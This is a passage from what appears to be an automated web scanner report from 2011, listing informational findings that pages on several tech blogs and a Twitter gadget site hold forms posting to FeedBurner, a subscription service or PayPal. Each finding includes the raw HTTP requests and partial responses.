Keep-Alive: 115
Proxy-Connection: keep-alive

Response

11.3. http://www.ilovefreesoftware.com/category/programming previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/category/programming

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /category/programming HTTP/1.1
Host: www.ilovefreesoftware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ilovefreesoftware.com/
Cookie: PHPSESSID=18f718a82df153ad72632718b1bd7f30; w3tc_referrer=http%3A%2F%2Fwww.ilovefreesoftware.com%2F; __utma=28356196.871772681.1316477834.1316477834.1316477834.1; __utmb=28356196.7.6.1316477845805; __utmc=28356196; __utmz=28356196.1316477834.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __csref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; __cst=6437cc77a53b85d2; __csv=4a66517e0c1f99d8|0; __csnv=771f3dd6d8a26be1; __ctl=4a66517e0c1f99d81; __qca=P0-1736635611-1316477866435; MG_3730=1

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:27:32 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-CF-Powered-By: WP 1.1.7
X-Pingback: http://www.ilovefreesoftware.com/xmlrpc.php
Vary: Accept-Encoding,Cookie,User-Agent
Expires: Tue, 20 Sep 2011 05:27:32 GMT
Pragma: public
Cache-Control: public, must-revalidate, proxy-revalidate
Etag: 7b8e13281940e4f72be0eb7f2180f6d3
X-Powered-By: W3 Total Cache/0.9.2.4
Last-Modified: Mon, 19 Sep 2011 19:27:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 50819

<!DOCTYPE html><html dir="ltr" lang="en-US"><head><script type="text/javascript" src="http://cdn.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js"></script><meta http-equiv="C
...[SNIP]...
</div><form style="padding:0px;text-align:left;" action="http://feedburner.google.com/fb/a/mailverify" method="post" target="popupwindow" onsubmit="window.open('http://feedburner.google.com/fb/a/mailverify?uri=ilovefreesoftware/OEwA', 'popupwindow', 'scrollbars=yes,width=550,height=520');return true">Enter your Email Address<input type="text" style="width:200px" name="email"/>
...[SNIP]...

11.4. http://www.ilovefreesoftware.com/category/theme/default/style.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/category/theme/default/style.css

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /category/theme/default/style.css HTTP/1.1
Host: www.ilovefreesoftware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ilovefreesoftware.com/category/programming
Cookie: PHPSESSID=18f718a82df153ad72632718b1bd7f30; w3tc_referrer=http%3A%2F%2Fwww.ilovefreesoftware.com%2F; __utma=28356196.871772681.1316477834.1316477834.1316477834.1; __utmb=28356196.8.6.1316477845805; __utmc=28356196; __utmz=28356196.1316477834.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __csref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; __cst=6437cc77a53b85d2; __csv=4a66517e0c1f99d8|0; __csnv=771f3dd6d8a26be1; __ctl=4a66517e0c1f99d81; __qca=P0-1736635611-1316477866435; MG_3730=1

Response

HTTP/1.1 404 Not found
Date: Mon, 19 Sep 2011 19:27:56 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-CF-Powered-By: WP 1.1.7
X-Pingback: http://www.ilovefreesoftware.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:27:57 GMT
Content-Length: 31844
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html><html dir="ltr" lang="en-US"><head><script type="text/javascript" src="http://cdn.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js"></script><meta http-equiv="C
...[SNIP]...
</div><form style="padding:0px;text-align:left;" action="http://feedburner.google.com/fb/a/mailverify" method="post" target="popupwindow" onsubmit="window.open('http://feedburner.google.com/fb/a/mailverify?uri=ilovefreesoftware/OEwA', 'popupwindow', 'scrollbars=yes,width=550,height=520');return true">Enter your Email Address<input type="text" style="width:200px" name="email"/>
...[SNIP]...

11.5. http://www.ilovefreesoftware.com/wp-content/plugins/wp-secure-by-sitesecuritymonitorcom/css/removenotice.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/wp-content/plugins/wp-secure-by-sitesecuritymonitorcom/css/removenotice.css

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /wp-content/plugins/wp-secure-by-sitesecuritymonitorcom/css/removenotice.css?ver=3.2.1 HTTP/1.1
Host: www.ilovefreesoftware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ilovefreesoftware.com/
Cookie: PHPSESSID=18f718a82df153ad72632718b1bd7f30

Response

11.6. http://www.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include-footer.28a678.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/wp-content/w3tc/min/abb96/default.include-footer.28a678.js

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /wp-content/w3tc/min/abb96/default.include-footer.28a678.js HTTP/1.1
Host: www.ilovefreesoftware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ilovefreesoftware.com/
Cookie: PHPSESSID=18f718a82df153ad72632718b1bd7f30; w3tc_referrer=http%3A%2F%2Fwww.ilovefreesoftware.com%2F

Response

HTTP/1.1 404 Not found
Date: Mon, 19 Sep 2011 19:16:25 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-CF-Powered-By: WP 1.1.7
X-Pingback: http://www.ilovefreesoftware.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:16:26 GMT
Content-Length: 31797
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html><html dir="ltr" lang="en-US"><head><script type="text/javascript" src="http://cdn.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js"></script><meta http-equiv="C
...[SNIP]...
</div><form style="padding:0px;text-align:left;" action="http://feedburner.google.com/fb/a/mailverify" method="post" target="popupwindow" onsubmit="window.open('http://feedburner.google.com/fb/a/mailverify?uri=ilovefreesoftware/OEwA', 'popupwindow', 'scrollbars=yes,width=550,height=520');return true">Enter your Email Address<input type="text" style="width:200px" name="email"/>
...[SNIP]...

11.7. http://www.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/wp-content/w3tc/min/abb96/default.include.4a6bbc.js

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /wp-content/w3tc/min/abb96/default.include.4a6bbc.js HTTP/1.1
Host: www.ilovefreesoftware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ilovefreesoftware.com/
Cookie: PHPSESSID=18f718a82df153ad72632718b1bd7f30

Response

HTTP/1.1 404 Not found
Date: Mon, 19 Sep 2011 19:16:25 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-CF-Powered-By: WP 1.1.7
X-Pingback: http://www.ilovefreesoftware.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:16:25 GMT
Content-Length: 31783
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html><html dir="ltr" lang="en-US"><head><script type="text/javascript" src="http://cdn.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js"></script><meta http-equiv="C
...[SNIP]...
</div><form style="padding:0px;text-align:left;" action="http://feedburner.google.com/fb/a/mailverify" method="post" target="popupwindow" onsubmit="window.open('http://feedburner.google.com/fb/a/mailverify?uri=ilovefreesoftware/OEwA', 'popupwindow', 'scrollbars=yes,width=550,height=520');return true">Enter your Email Address<input type="text" style="width:200px" name="email"/>
...[SNIP]...

11.8. http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcworld.com
Path:	/article/216731/simple_cheap_apps_for_keeping_secrets_online.html

Issue detail

The page contains a form which POSTs data to the domain w1.buysub.com. The form contains the following fields:

cds_name
cds_city
cds_address_1
cds_state
cds_zip
cds_address_2
cds_email

Request

GET /article/216731/simple_cheap_apps_for_keeping_secrets_online.html HTTP/1.1
Host: www.pcworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

11.9. http://www.techhail.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techhail.com
Path:	/

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET / HTTP/1.1
Host: www.techhail.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

11.10. http://www.techhail.com/computers/gigabyte-motherboards-india/8481 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techhail.com
Path:	/computers/gigabyte-motherboards-india/8481

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /computers/gigabyte-motherboards-india/8481 HTTP/1.1
Host: www.techhail.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techhail.com/headline/top-best-iphone-games/8468
X-Moz: prefetch
Cookie: bsau=13164778425498040212; bsas=13164778425496683404; __utma=101878276.324731265.1316477852.1316477852.1316477852.1; __utmb=101878276.18.3.1316478267741; __utmc=101878276; __utmz=101878276.1316477852.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __csref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; __qca=P0-989990270-1316477863324; __cst=68cdc0797b066386; __csv=4a66517e0c1f99d8|0; __csnv=bf09e79ef7cd21c5; __ctl=4a66517e0c1f99d81; w3tc_referrer=http%3A%2F%2Fwww.techhail.com%2F; PHPSESSID=e4db3cdd60a490876fd295b6763b2048

Response

11.11. http://www.techhail.com/headline/top-best-iphone-games/8468 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techhail.com
Path:	/headline/top-best-iphone-games/8468

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /headline/top-best-iphone-games/8468 HTTP/1.1
Host: www.techhail.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techhail.com/
Cookie: bsau=13164778425498040212; bsas=13164778425496683404; __utma=101878276.324731265.1316477852.1316477852.1316477852.1; __utmb=101878276.7.6.1316477852; __utmc=101878276; __utmz=101878276.1316477852.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __csref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; __qca=P0-989990270-1316477863324; __cst=68cdc0797b066386; __csv=4a66517e0c1f99d8|0; __csnv=dc15699a0037b683; __ctl=4a66517e0c1f99d81

Response

11.12. http://www.techwev.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET / HTTP/1.1
Host: www.techwev.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:20:05 GMT
Server: Apache
X-Pingback: http://techwev.com/xmlrpc.php
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: W3 Total Cache/0.9.2.4
Last-Modified: Mon, 19 Sep 2011 19:20:07 GMT
Content-Length: 35804
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.o
...[SNIP]...
</p>

           <form action="http://feedburner.google.com/fb/a/mailverify" method="post" target="popupwindow" onsubmit="window.open('http://feedburner.google.com/fb/a/mailverify?uri=techwev', 'popupwindow', 'scrollbars=yes,width=550,height=520');return true">
               <input type="hidden" value="techwev" name="uri"/>
...[SNIP]...

11.13. http://www.techwev.com/category/apple/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/category/apple/

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /category/apple/ HTTP/1.1
Host: www.techwev.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techwev.com/
Cookie: __utma=146022577.926745059.1316477839.1316477839.1316477839.1; __utmb=146022577.1.10.1316477839; __utmc=146022577; __utmz=146022577.1316477839.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; w3tc_referrer=http%3A%2F%2Fwww.techwev.com%2F

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:31:22 GMT
Server: Apache
X-Pingback: http://techwev.com/xmlrpc.php
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: W3 Total Cache/0.9.2.4
Last-Modified: Mon, 19 Sep 2011 19:31:24 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24710

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.o
...[SNIP]...
</p>

           <form action="http://feedburner.google.com/fb/a/mailverify" method="post" target="popupwindow" onsubmit="window.open('http://feedburner.google.com/fb/a/mailverify?uri=techwev', 'popupwindow', 'scrollbars=yes,width=550,height=520');return true">
               <input type="hidden" value="techwev" name="uri"/>
...[SNIP]...

11.14. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/external.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/external.js

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /wp-content/themes/wp-clearv2.0/js/external.js?ver=3.2.1 HTTP/1.1
Host: www.techwev.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techwev.com/

Response

11.15. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/jquery.cycle.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/jquery.cycle.js

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /wp-content/themes/wp-clearv2.0/js/jquery.cycle.js?ver=3.2.1 HTTP/1.1
Host: www.techwev.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techwev.com/

Response

11.16. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/slideshow.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/slideshow.js

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /wp-content/themes/wp-clearv2.0/js/slideshow.js?ver=3.2.1 HTTP/1.1
Host: www.techwev.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techwev.com/

Response

11.17. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish-cat.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/suckerfish-cat.js

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /wp-content/themes/wp-clearv2.0/js/suckerfish-cat.js?ver=3.2.1 HTTP/1.1
Host: www.techwev.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techwev.com/

Response

11.18. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/suckerfish.js

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET /wp-content/themes/wp-clearv2.0/js/suckerfish.js?ver=3.2.1 HTTP/1.1
Host: www.techwev.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techwev.com/

Response

11.19. http://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:59 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
<td align=left valign=middle>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_blank" style="margin:0px; padding:0px;">
<input type="hidden" name="cmd" value="_xclick">
...[SNIP]...

11.20. http://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.21. http://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.22. http://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.23. http://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.24. http://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.php

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:56 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
<td align=left valign=middle>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_blank" style="margin:0px; padding:0px;">
<input type="hidden" name="cmd" value="_xclick">
...[SNIP]...

11.25. http://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.php

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.26. http://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.php

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.27. http://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.php

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.28. http://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.php

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
